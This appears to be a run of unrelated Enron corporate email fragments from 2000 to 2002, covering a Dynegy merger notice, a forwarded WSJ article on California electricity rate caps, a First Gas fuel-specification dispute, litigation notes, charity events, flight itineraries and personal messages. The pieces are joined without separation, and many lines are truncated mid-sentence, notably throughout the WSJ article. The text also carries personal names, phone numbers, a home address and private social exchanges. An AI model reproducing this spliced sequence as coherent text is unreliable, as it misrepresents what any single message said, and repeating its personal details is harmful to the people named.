Crawford/CAL/ECT@ECT, Richard Deming/NA/Enron@Enron, Russell 
Diamond/ENRON@enronXgate, Cindy Feldman/CAL/ECT@ECT, Darron C 
Giron/HOU/ECT@ECT, Jeffrey C Gossett/HOU/ECT@ECT, Walter 
cc:  
Subject: Credit Report--5/2/01

yes.  be happy to talk tomorrow.  just give a holler when you've a minute.   
thanks.

Enron and Dynegy each announced today that they are holding discussions about a possible merger of the two companies.  As you know, Dynegy is a major player in the energy marketplace, and is not only a competitor, but also a counterparty of Enron.  This is just one of several options that we are considering.

Upon receipt of this announcement, the NYSE briefly suspended trading of both Enron and Dynegy.  We have no additional information we can share at this time.  We'll keep you updated as developments occur.

Here are some more prices.  Many thanks to Roger Yang.

Sent by: Steven J Kean@ENRON
To: Susan J Mara/SFO/EES@EES, Jeff Dasovich/SFO/EES@EES, Sandra 
McCubbin/SFO/EES@EES, Mona L Petrochko/SFO/EES@EES
cc: Gavin Dillingham/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Harry 
Kingerski/HOU/EES@EES, Richard Shapiro/HOU/EES@EES, James D 
Steffes/HOU/EES@EES 
Subject: California Lawmakers Vote to Limit Power Costs - WSJ

---------------------- Forwarded by Steven J Kean/NA/Enron on 09/01/2000 
   
	From:  Ann M Schmidt                           09/01/2000 07:57 AM
	
To: Karen Denne/Corp/Enron@ENRON, Mark Palmer/Corp/Enron@ENRON, Steven J 
Kean/NA/Enron@Enron, Meredith Philipp/Corp/Enron@ENRON
cc:  

F.Y.I.

  California Lawmakers Vote to Limit Power Costs 
  By Rebecca Smith 
    
  09/01/2000 
  The Wall Street Journal 
  Page A4 
  (Copyright (c) 2000, Dow Jones & Company, Inc.) 

  California lawmakers voted to extend modest relief to San Diego residents 
  high electricity bills and set the groundwork for faster construction of 
  plants. They stopped short, however, of passing legislation that would roll 
back retail power

  Late Wednesday, lawmakers sent a bill to Gov. Gray Davis that limits to 6.5 
cents per
  kilowatt hour the amount that small customers of San Diego Gas & Electric 
Co. can be
  charged. The utility is allowed to add power-delivery and other reasonable 
costs to that

  The price, equivalent to a bulk power cost of $65 per megawatt hour, is far 
higher than the
  average price of power for 27 of the 31 months in which California's market 
has been
  deregulated. But in June and July, the average price of power obtained by 
  state-sanctioned energy auction rose to 12 cents and 10.5 cents, 

  Passed directly through to customers,the resulting bills sparked a near 
  rate-cap measure applies to residential and small commercial customers, as 
well as to

  In addition to the rate cap, which can be adjusted upward or downward by 
  Public Utilities Commission until December 2002, the legislature earmarked 
$150 million of
  general-fund revenue, which can be used to subsidize San Diego power costs 
if they greatly
  exceed the 6.5-cents-per-kilowatt-hour rate. For now, the utility would be 
expected to make

  Steve Baum, chairman of Sempra Energy, parent of San Diego Gas & Electric 
  rate-cap measure is "deeply flawed" because it limits the amount prices can 
rise but sets
  no floor. That means any shortfall could grow -- without a mechanism for 
  it down -- until the end of the rate-cap period, which could last until 

  Mr. Baum said Sempra stands to suffer an undercollection of perhaps $664 
  future prices approximate the New York Mercantile Exchange forward prices 
through
  December 2002. "It's irreparably damaging to Sempra," he said because it 
"creates
  tremendous uncertainty" that makes it hard for the San Diego energy company 
to finance

  The legislature also appeared likely to approve a bill speeding up the 
  construction of new power plants, in part by beefing up staffs of 
  review the plans. 

  Copyright , 2000 Dow Jones & Company, Inc. All Rights Reserved. 

Dear john.griffith@enron.com,

Your eBay User ID change process is completed!
Your User ID before this change was "john.griffith@enron.com".
Your User ID after this change will be "2milldesign".

NOTICE:
Because you have changed your User ID, you may need to update certain eBay
features which depend on it.  Features selected for use with your old Use
ID will cease to work after 30 days.
*  If you have bookmarked your My eBay page or a seller search results
page, you'll need to re-bookmark those pages.
*  If you use an eBay link button to display a list of your auctions from
your own web page, The HTML tag provided for that link button contains
your old User ID.  There are two ways to make this change:
(1) Visit http://pages.ebay.com/services/buyandsell/link-buttons.html to 
request a new HTML tag.
--OR--
(2) Update the HTML in the source code on your web page by replacing your
old User ID with your new one.

Thank you for using eBay!
http://www.ebay.com

Hey!!  I can't find my ski stuff; black columbia ski pants and my purple
goggles.  The last time I used them was when we were living together.  I was
just wondering if they may have gotten mixed up with your stuff...

Katie Trullinger
Wilshire Credit Corporation (REO Dpt.)
800-776-0100 x7804
katie.trullinger@wfsg.com

6.1 says when FG becomes aware of changes it "shall" (so its mandatory) 
inform us "as soon as practicable" after it becomes aware.  But then it says 
these are "good faith estimates" and are not to give rise to any liability on 
FG.  These two provisions seem inconsistent to me.   I think we should demand 
that FG pay.  Our odds of winning on the point in arbitration are 50/50 
(would hinge on what was parties' intent as reflected in negotiations). 

John L Nowlan@ECT
11/01/2000 08:34 AM
To: Robert C Williams/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Mike 
McConnell/HOU/ECT@ECT
cc: Mike Brown 

Subject: Re: First Gas

Comments from John in singapore.  raises this issue that they give us their 
requirements and we MUSTmeet their requirements. On the other hand if their 
requirements change we are responsible for demurrage , reselling or any other 
actions which must be taken . Bob is this your understanding, or once they 
give us their requirements they are responsible for costs incurred for any 
changes due to a change in their requirements?
---------------------- Forwarded by John L Nowlan/HOU/ECT on 11/01/2000 08:30 

10/31/2000 08:38 PM
To: John L Nowlan/HOU/ECT@ECT
cc:  
Subject: Re: First Gas  

This is good news to me.  Hope that Siemen's does come thru and then we can 
force the issue with FGH and show that they are being unreasonable in their 
demand on the specs we currently have.  

As to next delivery, the cargo just left ytdy and will arrive Batangas on  
the 7th.  Sample of the shore tanks prior to loading was flown to Sing and 
tested using Ashing. Metals and everything was OK.  We were rerunning last 
night using direct injection.  Haven't seen those results yet. 

As to storage issue.  Yes, we have seen some correspondence from FGH saying 
that the cargo would not fit. Expect that it should just become an issue over 
demurrage liability - ours vs FGH . However, you never know with this John 
Russel guy - if the mkt were to fall away he could try to say he wants a 
different price on the balance of the cargo. Expect it to price out at close 
to $35/bbl.   We loaded minimum volume so a bit of a hit on frt.  As of ytdy 
it looked like the ullage was going to be short by 8 to 15kbbls.  If so we 
will be liable for demurrage.   Another point of interest on this one is in 
all their forecasts they show usage everyday during the week.  However, ytdy 
we hear from the Plant that they expect minimum usage (possibly zero) over 
the next two days due to religious holidays - All Saints.  If so then the we 
will probably go to about 30kbbls short of ullage and demmurage will increase 
from a possible 4 days to 8 days @ $23k/day.  Could this be construed as 
possible false info? 

John 

John L Nowlan
31/10/2000 21:20
To: John Chismar/SIN/ECT@ECT
cc:  

Subject: First Gas

John, think you should be aware of this. Any comments?
---------------------- Forwarded by John L Nowlan/HOU/ECT on 10/31/2000 07:19 

10/30/2000 11:28 PM
To: Jeffrey A Shankman/HOU/ECT@ECT, John L Nowlan/HOU/ECT@ECT
cc:  

FYI.
m
---------------------- Forwarded by Mike McConnell/HOU/ECT on 10/30/2000 
11:32 PM ---------------------------

Robert C Williams@ENRON_DEVELOPMENT
10/30/2000 01:40 PM
cc:  

Privileged and Confidential Attorney-Client Communication

Mike Brown, David Terlip, Janice Moore and I met today.  Plan is for Mike to 
get an answer from Siemens (probably this week or next) on spec.  If Siemens 
amenable to relax First Gas' spec to plant, request First Gas to relax it's 
spec to us.  Mike will report to you as soon as he has heard from Siemens.   
If either Siemens or First Gas recalcitrant, move to litigation strategy.  
This would mean at next cargo delivery (due mid-November):  (1)  if cargo 
"off spec" demand separate test using "ashing" technique (more likely to 
pass) and if it passes using "ashing" declare on spec and arbitrate dispute 
over acceptance of "ashing" as industry standard; (2) if cargo rejected 
(either because First Gas refuses to accept "ashing" or because off spec even 
with "ashing") resale cargo and force First Gas to locate alternative 
supplies; dispute First Gas invoice for cost of cover.   Mike mentioned a 
possible dispute over storage which could also arise with the next delivery.  
This could bring us into a dispute with First Gas even if the cargo is on 
spec.

Our plan is to get back to you in any event next week when you return with a 
status report.

Cheers.  And congratulations on the Sooners' win.

Attached is the TW weekly report for November 9, 2001.

Jan Moore
713-345-3858

RIGZONE DAILY NEWS -- WEDNESDAY, JANUARY 9, 2002
Daily News from the worldwide upstream oil & gas industry
   to view the complete version, please go to: 
   http://www.rigzone.com/newsletter_show.asp?n_id=196

This Sunday, October 28th, is the Juvenile Diabetes Research Foundation (JDRF) Walk to Cure Diabetes at Greenspoint Mall at 8:00 a.m.  In preparation for the big event, we have several fun activities scheduled to take place this week as detailed below.

JDRF Cyber Auction - The Cyber Auction will take place this Wednesday, October 24th, through Thursday, October 25th.  For details please go to the Enron home page and click on JDRF Cyber Auction or click http://ecpdxapps01.enron.net/apps/auction.nsf for the direct link.  The Auction this year is hosted by EGS.  

Big E Caf? - This Friday, October 26th, 11:30 - 1:00 p.m. on Andrews Street in front of the Enron Center North building.
Lunch - Fajita lunch with all the trimmings provided by Taquera del Sol for $5.00.
Entertainment - Live entertainment provided by Mango Punch.
JDRF Raffle - Raffle tickets for two roundtrip Continental Airline tickets for $5.00 each.  Raffle tickets for two roundtrip British Airways tickets for $10.00 each.  Winning tickets will be drawn at 2:00 p.m. on Friday, October 26th.  
JDRF Bake Sale - Cakes, cookies and Halloween treats will be available for purchase.
JDRF T-shirt Sale - Enron/JDRF T-shirts will be available for a $25 donation.
JDRF Sneaker (paper) Sales - The competition continues between business units - sneakers will sale for $5.00 each.

For those of you that have signed up to join us for the walk, please continue to collect donations and watch your email this week for further information regarding the Walk.  For those of you that have not signed up, please join us for the Walk.  Although we have only a few days remaining until the walk, it is not too late to sign up and join us for this great event.  It only takes a moment to fill out a walk form and you will get an Enron/JDRF T-shirt for collect or donating $25 or more, and will join hundreds of Enron employees and several thousand Houstonians on the Walk.  This event will be a blast.  The Enron tent will be great with lots of good food and entertainment and everyone will have a fun time.  Parking at the walk site will be free.

If you cannot attend the Walk, please support one of your local walkers, participate in the cyber auction or join us for the Big E Caf? on Friday to participate in some of our other great fundraising activities.  We want to keep our standing as the number one walk team in the Gulf Coast area, Texas, and the entire Southern Region of the U.S., as well as in the top 10 nationally.

Please contact Janice Riedel at X-37507 or Cathy Phillips at X-36898 to sign up as a walker, make a donation, or ask any questions you may have.  Come join the fun.

Thank you for your support and generosity.

Start Date: 5/1/01; HourAhead hour: 10;  HourAhead schedule download failed. 

Schedules\2001050110.txt is empty.
Schedules\2001050110.txt
!!!Insufficient memory for this operation.

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selected: 

Professor Webb, 

We would like to have a scrimmage/practice with your team this Wednesday.    
The aggie teams have already held practice as of Sunday and are scrimmaging 
this Wednesday as well  (to which we are not invited).   As they pose the 
greatest hurdle to obtaining the tickets, it is essential that we prepare in 
similar fashion.....

However, we are unable to find a LIGHTED field to practice upon (Memorial is 
unlit)..     

If anyone knows of a lighted field for practice  (Rice University???), please 
contact me ASAP so we can schedule a practice for Wednesday evening.

- Mike  ext  37842

=== 

Webb, I'm counting on you not to let the Longhorn tradition down....

I can't open this

From: 	"Deborah Prettyman" <dprettyman@bracepatt.com>@ENRON [mailto:IMCEANOTES-+22Deborah+20Prettyman+22+20+3Cdprettyman+40bracepatt+2Ecom+3E+40ENRON@ENRON.com] 
Sent:	Thursday, June 14, 2001 4:50 PM
To:	RSander@ECT.Enron.Com
Subject:	Letter to Keith Wier

 - 1299113.01 << File: 1299113.01 >> 

Just little things like I should be resolving my job situation by the end of 
next week and some other little stuff that has made me happy and a little 
more confident about stuff.  Nothing too major. After how things went the 
last few months it doesn't take much!

Tom,

I got sick and had to reschedule the meeting with Nick Bambos.
I shall meet him on Saturday this week. I shall talk to him about the 

1. Financing research projects by graduate students ($100K per year, spread 
over several projects)
2. Inviting Nick to visit Enron
3. I can mention the possibility of Nick consulting for us. Given his status, 
involvement in the Internet2 project,
and views that closely parallel Enron's vision, it makes sense to have him 
working for us. He could
be a very effective voice supporting our initiatives.

Vince
 
Ms. Halligan,
Mr. Mark Baldwin with Interstate Gas Services will be representing 
Transwestern Pipeline Company during Tuesday's hearing.  Transwestern is a 
party of record in this proceeding.  Mr. Baldwin is Transwestern's California 
consultant, and is well versed in state regulatory matters and, in 
particular, this docket.  On behalf of Transwestern, Mr. Baldwin will address 
the following issues:

1. The PD in light of recent events in both the natural gas and electricity 
markets in California.
2  A comparison of certain features of the PD and the alternative settlement 
(Comprehensive Settlement) supported by SoCalGas Company and the majority of 
the stakeholders, including Transwestern Pipeline.
3. The relationship between the CPUC's decision in this proceeding and the 
ongoing investigation of the sufficiency of infrastructure for both natural 
gas and electricity.

My understanding is that the CPUC prefers the speakers be brief.  With your 
permission, Mr. Baldwin's remarks will be limited to no more than 5 minutes, 
with an opportunity for questions to follow.

Please let me know if there are any other guidelines the CPUC would like 
parties to follow in this proceeding.  Also, please let me know if there are 
any questions that I can answer for you.

Jeffery C. Fawcett
713-853-1521

jfawcet@enron.com

John Schultes is quite smart and very precise in his use of language.? Even 
though he speaks with an accent, he is easy to understand and he is very 
careful with his words.? I thought he acquitted himself reasonably well under 
difficult conditions.? However, Schultes' natural demeanor is somewhat formal 
and aloof; I don't think a jury is going to like him.? At best they'll be 
neutral; they won't warm up to him. 

Schultes has sued McDonald and SDI in Cleveland, Ohio--apparently some sort 
of defamation and wrongful termination.? I am getting the complaint, will 
have it sent to you.? Schultes was deposed for three days a few weeks ago in 
that case.? We will try to get the transcript.

Schultes is unemployed.? His defense is being paid for by AIG under a D&O 
policy. 

Kathy spent a lot of time on Schultes' response in 9/98 to Bob Walters 8/98 
memo.? In his response Schultes acknowledged a number of shortcomings at NSM 
but took the position that everyone knew all about them at the time of the 
offering.

KPMG wrote management letters in connection with NSM financial statements for 
the year ended 12/31/96 and the quarters ended 3/31/97 and 6/30/97--probably 
for later periods as well, like 12/31/97.? KPMG has produced documents.? We 
are getting them this week.? E&Y also did a special report for McDonald in 
the second half of 1997; McDonald has produced a copy.? E&Y is still fighting 
about producing its documents.? Schultes says he never saw the E&Y report.

Enron came up twice today, not with much emphasis--both times dealing with 
events after the closing.? A memo of Brian's dated 7/28/98 relating to a 
Management Company meeting was discussed briefly.? The report or review that 
the Enron team prepared in August 1998 was discussed at a little more 
length.? Nothing harmful.? To date there has been virtually no testimony 
about any role of Enron or ECT in the underwriting process--just about all 
testimony has been about post-closing events.

Kathy also pressed Schultes to admit that NSM's actual production of steel 
before the offering was quite limited.? Schultes quarreled with her a bit on 
this.

Mark

Brett Wiggs is taking El Paso through the motions this week on Electrobolt.  They seem keen on showing us a bid by next week.

John

	MID Pool 17 (Chris Sebesta/Dari Dornan)

Date:		8/4/2000

Sara,

The Prime Trade agreement with CSFB is a VERY high priority.  Higher than the 
UBS Warburg.  Gary has called Ellen twice about this, and he is going to be 
looking for some sort of answer tomorrow when he is in the office.  

Hello Deborah:

I would like to introduce myself and Anita Dupont to you as we will probably
be working together quite a bit between now and our move.  Please feel 
free to contact either one of us regarding any questions or needs you 
may have.

Headcount
The Executive, VP and Director headcount for the Research group is:
Managing Director  1
Vice Presidents   6
Directors   5

Also, Anita and I would like to invite you to meet with us and go over our 
library space requirements.  Please let me know when you have some 
free time and we will be available.

My number is: 3-5290 - EB1961
Anita's # is: 3-0329 - EB1969

I look forward to meeting you,

Enron Research Group
3-5290

just call me on my cell phone.  i am going to happy hour after work to eat 
and drink.

Please send a copy of the ABB facility agreement for CA II to Ben Jacoby and 
Kathleen Carnahan.

Thanks,

Kay

Bank One Line is closing today, with give up agreement to be finalized early 
next week.  If there is any particular "file" processing for credit lines 
applicable to this group, please advise.  Otherwise, I will have file with 
originals set up and provided to Kay Young for central file room.

ABN further comments are due Monday and phone conference indicates very few 
issues.  Should close next week.

By copy to Jeff, please provide tax comments on ABN on Monday.  Thank you.  
Mary

The enclosed research report is being sent to you from PaineWebber by:

 EMERY FINANCIAL GROUP

 713-957-7020

 ROCKY.EMERY@PaineWebber.COM

Please contact them if you have any questions or would like to discuss this 
material.

The information contained in the attached research report is believed to be 
reliable, but its accuracy is not guaranteed.  PaineWebber Incorporated 
and/or Mitchell Hutchins Asset Management Inc., affiliated companies and/or 
their officers, directors, employees or stockholders may at times have a 
position, including an arbitrage position, in the securities described herein 
and may sell or buy them to or from customers.  These companies may from time 
to time act as a consultant to a company being reported upon.

You will need the Adobe Acrobat Reader to view this document.  If you don't 
already have it just click on this link, 
http://www.adobe.com/prodindex/acrobat/readstep.html, and follow the 
on-screen instructions.  The Acrobat Reader is free of charge.

 - P004302520001110D01.pdf

 PLEASE  VISIT OUR SPONSORS: =09
3'x5' Outdoor Flag $9.95. SAVE $25.00! When you buy a flag,we will donate 1=
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[IMAGE]

Hi Kathy

Thanks for the message - it was great to see you yesterday.  Sam is fine - the doctor thinks some steroids would help.  Yuk.  Did you like Dr. Injac?  My kids love him.  I'm leaving in about an hour and will not be back until the middle of next week but will write then and we can set up a time for lunch.  Talk to you soon.

From: 	"Kathy Ellis Cook" <kecook@earthlink.net>@ENRON  
Sent:	Wednesday, October 10, 2001 7:55 PM
To:	Sager, Elizabeth
Subject:	Hello again

Hi Liz,
 
It was fun catching up with you at  Dr.Injak's.  Like you, I married a geologist (my dad and brother-in-law are  also geologists).  It's a nice change from lawyers.  
I hope Sam is doing OK.  What did the doctor  say to do for him?
Let me know what your schedule is like and we can  meet some time.  I'm fairly flexible, but have a nanny only 2 days per  week, so the rest of the time Connor is with me.  My little  shadow.
 
Ciao,
Kathy Ellis Cook

Louis,

When I started July 31st, you arranged parking for me in the Regency garage 
until the time that a spot opened up to get on an Enron contract (I am not 
currently).  I haven't heard anything, and I know some people that have 
obtained Enron parking.  I signed my name to a list that you circulated at 
orientation.  Is there something further that I need to do?  

Mathew Smith
3-0472

Below are forms you will need to prepare confirmations which we will discuss 
later this week.  I would password protect them so no one change change them 
by mistake.

Under the regulations of the state of Arizona, facilities which have a 
pollution prevention plan (sta.1, sta. 2 and Needles) are required to have an 
annual training to evaluate pollution prevention activiies.  I have scheduled 
with the above three facilities to have pollution training on the following 
dates:

  Kingman team June 21

  Flagstaff team June 22

This training is to be completed by July 1 of every year.  This training will 
last for approximately 2-3 hours.  Employees that works at any of the three 
facilities are required to be present for the training.  Your participation 
in this will be greatly appreciated.

Correct Numbers:

Teco Tap       31.876 / HPL Gas Daily ;  44.374 / HPL IFERC

                    20.000 / Enron @ Teco Tap

LS HPL LSK IC            20.000 / Enron

Previous Numbers:

Teco Tap       76.250 / HPL IFERC ; 20.000 / Enron

LS HPL LSK IC       20.000 / Enron

Attached is a copy of a sample letter which we are sending to selected vendors of Enron Corp. and its subsidiaries as an additional step toward implementing our commitment to conduct our business affairs in accordance with the highest ethical standards.

We are sending you a copy of this letter so that you will be aware that your vendors will be receiving this letter and so that you will be reminded that Enron does enlist the cooperation of its vendors in adhering to its Business Ethics Policy.

We appreciate your efforts in contributing to an Enron work environment of which we can all be proud.

******************************************************************************************************************************

SAMPLE 
November ____, 2001
OFFICE OF THE CHAIRMAN
<<Headquarter_Name>>
<<Street>>
<<City>><<State>><<Zip>>
<<Country>>
Dear Sir or Madam :
	Enron Corp. ("Enron") believes in conducting its business affairs in accordance with the highest ethical standards. As outlined in Enron's Code of Ethics, employees of Enron and its subsidiaries are required to comply with Enron's Business Ethics Policy which requires an employee to conduct himself/herself in a manner which is not detrimental to the best interests of Enron and which does not bring to the employee financial gain separately derived as a direct consequence of his/her employment with Enron. Further, Enron's Business Ethics Policy states that no lavish entertainment or gifts are to be given or received by Enron employees for special position, price, or privilege.
 	Not only is it incumbent upon our employees to follow this policy, but your cooperation in respecting these standards is also critical. Enron expects each of its vendors and contractors to maintain adequate records that document its work relationship with Enron. Enron's auditing department will routinely conduct business ethics compliance audits of certain vendors and contractors with whom Enron does business. Your recognition of our ethical standards allows Enron employees to work with you via arm's length transactions and avoids potentially embarrassing and unethical situations. If you ever become aware of variances from our policy, please advise:

	Your business relationship is important to us, and we look forward to maintaining that relationship with you.
         
Hey guys.  Are we in communication or working with Reliant in California?  In 
particular, a guy by the name of  John Stout or a woman (I think she's PR) 
named Stephanie Newell?  My understanding is that they are shopping a demand 
exchange idea---in particular in Utah.  I would like to contact him in 
preparation for the RGA meeting in Los Angeles, but wanted to check with you 
all first to see what we might already be doing with them.

02:36 PM ---------------------------

Sevil Yaman@ENRON
11/21/2000 02:21 PM
cc:  
Subject: Mccullough's speech

vince,
here is the speech and the update.
sevil,

Shepherd, near San Felipe.  Very close to Peggy's house. Peggy should be 
there, also.

We did have fun - Camille was interested in the other Chris and wouldn't leave - I think we were loaded too. 

 Sorry for flirting a little too much - I don't know if you told Stanton that I hit on you until 5 in the morning or if he just read that into your story - but it drove him crazy. He called my house at 2:30 am Sunday morning very drunk and being very wierd!  

Anyway, it was a great party - thanks for the invitation.  Until next time -

Kim

From: 	"Chris Phillips" <chrisp@texlaenergy.com>@ENRON [mailto:IMCEANOTES-+22Chris+20Phillips+22+20+3Cchrisp+40texlaenergy+2Ecom+3E+40ENRON@ENRON.com] 
Sent:	Monday, July 02, 2001 5:07 PM

Did yall have fun the other night?  I was a bit loaded.  I hope I was not
rude or obnoxious, but regardless it was good seeing you and meeting your
friend.

cp

From: Kim.Ward@enron.com [mailto:Kim.Ward@enron.com]
Sent: Thursday, June 28, 2001 8:21 AM
To: chrisp@texlaenergy.com

Hey Chris,  glad to hear from you.  I am going to try to make it by your
party tomarrow night - and perhaps, bring my friend Camille.  Let me know
if there is anything that I can bring.

See you then -

Kim

From:     "Chris Phillips" <chrisp@texlaenergy.com>@ENRON

[mailto:IMCEANOTES-+22Chris+20Phillips+22+20+3Cchrisp+40texlaenergy+2Ecom+3E
+40ENRON@ENRON.com]

Sent:     Wednesday, June 27, 2001 11:13 AM
To:       Ward, Kim S (Houston)

Hey kim,
How have you been?  I am having a party at my house and wanted to invite
you
since I have not seen you in a while.  It will be fri from 8-12 at 1321
Bomar.  Feel free to bring anyone you want.  Hope you can make and if not
hope to see you soon.

Sent: Monday, May 07, 2001 9:37 AM

NO, I am counting on my mainstream girlfriends to bring lots of their
friends!

Sent:     Monday, May 07, 2001 9:28 AM
To:       Ward, Kim S.
Subject:

Are you only inviting males to this party.  Sure are alot of them on your
list.  Thanks for the invite look forward to stopping by.

cp

Tickets are non-refundable and prices are not guaranteed unless issued.  If
you are ready to issue please advise.

                                          AGENT LO/LO BOOKING REF ZDACKO

                                          YELLOW COPY TO LAURA

  ENRON CORP
  ENRON CORP
  1400 SMITH

  DATE:  MAY 11 2001

AMERICAN AIRLINES     06JUN HOUSTON TX     DALLAS TX      1216P   128P
AA 845     Q          WED   G.BUSH INTERCO DALLAS FT WORT
           NON SMOKING      TERMINAL A     TERMINAL A
                                                          NON STOP
                            RESERVATION CONFIRMED         1:12 DURATION
                  AIRCRAFT: MCDONNELL DOUGLAS ALL MD-80 SERIES
                            SEAT 18A NO SMOKING CONFIRMED MCKAY/BRAD(IDS5

AMERICAN AIRLINES     06JUN DALLAS TX      SAN JOSE CABO  541P    743P
AA 875     N          WED   DALLAS FT WORT LOS CABOS
           NON SMOKING      TERMINAL A
                            RESERVATION CONFIRMED         3:02 DURATION
                            SEAT 22A NO SMOKING CONFIRMED MCKAY/BRAD(IDS5

AMERICAN AIRLINES     10JUN SAN JOSE CABO  DALLAS TX      210P    556P
AA 864     H          SUN   LOS CABOS      DALLAS FT WORT
           NON SMOKING                     TERMINAL A
                            RESERVATION CONFIRMED         2:46 DURATION

AMERICAN AIRLINES     10JUN DALLAS TX      HOUSTON TX     901P    1010P
AA 487     H          SUN   DALLAS FT WORT G.BUSH INTERCO
                                                          NON STOP
                            RESERVATION CONFIRMED         1:09 DURATION
                  AIRCRAFT: BOEING 727-200/200 ADVANCED
                            SEAT 20A NO SMOKING CONFIRMED MCKAY/BRAD(IDS5

MISCELLANEOUS         08OCT HOUSTON TX
                      MON   ** THANK YOU FOR USING THE TAP **

RESERVATION NUMBER(S)  AA/QROYUI

MCKAY/BRAD  S5C0413R1073

THIS IS A NON-REFUNDABLE FARE THAT REQUIRES

  ENRON CORP
  1400 SMITH

                                                          NON STOP
                            SEAT 18B NO SMOKING CONFIRMED MCKAY/TIFFANY

                            SEAT 22B NO SMOKING CONFIRMED MCKAY/TIFFANY

                                                          NON STOP
D
                            SEAT 20B NO SMOKING CONFIRMED MCKAY/TIFFANY

MCKAY/TIFFANY

Laura Osman
Travel Agency in the Park
713-860-1124

Ran into Ed this morning and he said that he ran into your ugly ass this past 
weekend.  I told him that it sucks for him but its over so all the better.  
He said he was taking notes from the way you dress, thats if he ever went 
back to being single again.  Biked, ran and workedout this weekend.  I am on 
the path to kicking ass and taking names.  Bring it!!

I would like to park in the new parking garage.  Please put me down for a 
"yes" to participate.

Fletcher J. Sturm
3-9684

----- Forwarded by Gerald Nemec/HOU/ECT on 05/11/2001 11:27 AM -----

	Community Relations@ENRON
	05/11/2001 12:53 AM
		 
		 To: All Enron Houston
		 cc: 
		 Subject: Houston Ballet's Miller Theater Performance of Coppelia

Houston Ballet gives free performances of Copp,lia
at Miller Outdoor Theatre in Hermann Park
8:00 p.m. Friday May 11, Saturday May 12, & Sunday May 13, 2001 
sponsored by AZURIX and ENRON

Considered the great comedy of classical ballet, Copp,lia  tells the story of 
a doll so enchantingly lifelike that she mesmerizes an entire village, 
captures the heart of a young swain named Franz and inspires the eccentric 
toymaker Dr. Copp,lius to attempt to transform her into a living, breathing 
human being. 

AZURIX and ENRON are Corporate Sponsors for Houston Ballet's Miller Theatre 
performances, helping to present these free performances of Copp,lia to the 
people of Houston.  Houston Ballet has a limited number of tickets for the 
seated area each night for employees of AZURIX and ENRON.  These tickets are 
available on a first-come, first-served basis by calling William at 
713-535-3235 no later than 5 PM today .  (Please be aware that all unoccupied 
seats are released at 10 minutes before curtain.)

Other, free, general public tickets for the seated area (max 4 per person) 
are available at the Miller Theatre 11:30 a.m. - 1:00 p.m. on the day of 
performance; for more information call 713-284-8351 for the Miller Theatre 
ticket information line.  Tickets are not required for the lawn area.  

About Coppelia
Copp,lia was first performed on May 25, 1870 at the Th,atre Imp,rial de 
L'Op,ra, featuring choreography by Arthur Saint-L,on and music by L,o 
Delibes. The work maintains a special place in the history of dance, serving 
as a kind of bridge from the glory of the French Romantic ballet in the early 
nineteenth century to the masterpieces of the Russian Imperial Theater at the 
turn of the century. Writing in The International Dictionary of Ballet, 
critic Karen Dacko analyzes the unique characteristics of the piece as 
follows: "Copp,lia owes its longevity to its inspired, very danceable score. 
But the ballet is also remarkable for its perennial appeal and for its 
historical significance as Romanticism's grand finale and classical ballet's 
prologue."
Copp,lia first entered Houston Ballet' repertoire in October 1974, in a 
staging by Frederic Franklin (who also performed the role of Dr. Copp,lius), 
and featuring scenery by Peter Farmer. In November 1979, former Royal Ballet 
ballerina Anne Heaton re-staged the work for the company. When Houston Ballet 
premiered its new production of the work in March 1992 featuring breathtaking 
d,cor by Desmond Heeley, Carl Cunningham of The Houston Post wrote, "It would 
be hard to imagine anything to cap the joyous, gentle, and glorious looking 
new production of Copp,lia the splendidly prepared company of dancers and 
musicians put forth Thursday evening on Wortham Center's Brown Theater 
stage."    (The Houston Post, March 21, 1992)
Heeley's designs for Copp,lia never fail to enchant, most notably in the 
second-act depiction of Dr. Copp,lius's workshop. The sampling of dolls on 
display pay homage to the era when automatons, or mechanical toys, were the 
rage in Europe -- and to Heeley's inexhaustible creativity. Among the 
eye-popping toys featured in  the workshop are a huge astrologer with a 
pointed hat and a robe covered in shooting stars and moons; a strongman with 
a handlebar mustache and barbells; Puss n Boots; an acrobat hanging from a 
trapeze holding the man in the moon; and a small ballerina dancing on the 
back of a goat. In the first act, the vibrant reds, golds, and oranges of the 
costumes worn by the peasants in the village conjure up a wonderfully 
picturesque vision of nineteenth century Bavaria.

WOW what a week!!  I'm pretty sure these are the lowest scores ever - I'm
going to have my statistician check that out.

Meanwhile....EVERYBODY sat down - four different teams were picked and they
all lost so 12 of you will split the $120.00 pool!  (Almost as good as the
income tax rebate!)

It was really WAM's week - he not only married the lovely Shannon
McClennahan in Carmel this weekend, he also won first place for the first
time and he is a co-founder of the pool!  AND his beloved Cleveland finally
won when he bet on them!!

The week also brought good fortune to 2 first time winners for this year:

2nd place - Andy
3rd place - Mickey
and in 4th place was Cary

Congratulations to all of you!  Checks for Weeks 1-7 (actually six weeks)
will go out later this week so please let me know if you see any errors.

The scores were so low that there was not much movement in rankings to
report.

The pick sheet is attached for next week.

Given our current views of the natural gas markets, we are requesting an 
increase in our VAR limits from 40 million to 45 million until next Tuesday.

John

I asked my asst to set up a meeting w/ you( it has been set up for the 22nd). 
I am trying to get a better handle on the Neg CTC's--how they are 
earned/accrue. She should have set it up for your office. I will come to you.

MCKAY, JONATHAN,
 
HEDSTROM, PEGGY
SEIB, DIANNE

	EB3127 Northeast Meeting

Date:		11/16/2000

I have a work crawfish boil that same day I am supposed to go to and Jo is out of town that weekend.  I am gonna have to try and Finagle? my way out of this one so I can go to the Hatcher's,(itll be much more fun).  Did ya'll find a house?

Sara:

Please direct comments my way.

Thank you,
JP Morgan Futures Inc.
60 Wall Street, 41st Floor
New York,  NY 10260-0060
Tel. (212) 648-4315
Fax (212) 648-5347

Sara.Shackleton@enron.com on 02/16/2001 02:18:33 PM

cc:
Subject:  Enron North America Corp:  executuion of Futures Agreement

Tom:

To whose attention should I direct comments to the Client Agreement?

This communication is for informational purposes only.  It is not intended as
an offer or solicitation for the purchase or sale of any financial instrument
or as an official confirmation of any transaction. All market prices, data
and other information are not warranted as to completeness or accuracy and
are subject to change without notice. Any comments or statements made herein
do not necessarily reflect those of J.P. Morgan Chase & Co. Incorporated, its
subsidiaries and affiliates.

Just wanted to let all of you know that Damon Williams will be a bit late 
this morning due to the bad weather.  But he will be in.

If you need any help in the meantime please let me know.

Thank you,
Margaret Doucette
x5-7892

thought you might be interested

Sent:	Friday, November 02, 2001 10:08 AM
To:	Husser, Shanna; Blanchard, Timothy; Hull, Bryan; Lenhart, Matthew; Landry, Chad; 'mmmarcantel@equiva.com'; 'val.generes@accenture.com'; 'kevin.a.boone@accenture.com'; Gillette, Lisa
